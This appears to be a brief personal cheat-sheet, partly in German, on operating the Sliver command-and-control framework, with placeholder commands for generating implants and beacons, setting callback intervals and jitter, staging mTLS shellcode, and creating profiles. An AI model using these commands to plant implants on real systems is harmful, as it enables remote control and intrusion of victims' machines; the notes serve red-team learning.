Skip to content

Sliver C2 Framework

TODO

  • Start Sliver

    sliver-server daemon # Server start
    sliver-client # start des Clients
    
  • Generate the implant

    generate --<Connection-Type> <IP> --os <OS> --format <Format> --save <Location>
    <Connection-Type> # Start the listener
    
  • Generate the Beacon

    help generate beacon
    

Die erstellung eines Beacons ist gleich wie die eines implants. Hier gibt es allerdings zusätzliche Flags. Zwei der wichtigen Flags für Beacons sind: Kontaktaufnahme zum C2 Server: --minutes, --hours oder --days Zeitfenster für Zufalls Zeit: --jitter - ## With Stager

profiles new beacon --mtls <Ip:Port> --format shellcode <name> # Erstellen eines Profiles für das Implant
stage-listener -u tcp://<ip:Port> -p <name> # 
mtls -L <IP> -l 443
- ## Profile Um nicht immer wieder die Optionen eingeben zu müssen können Profile erstellt werden. Mit dem Befehl profiles new gefolgt von den session Optionen kann eine Session Konfiguration erstellt werden. Am Ende noch der Name und dann ist es möglich mit dem folgenden eine Session zu erstellen:
profiles generate --save <Location> <Name>
Das gleiche geht mit beacons, allerdings muss bei der Profil erstellung das Kommando profiles new beacon genutzt werden. - ## Kommandos interactive wandelt beacon in session um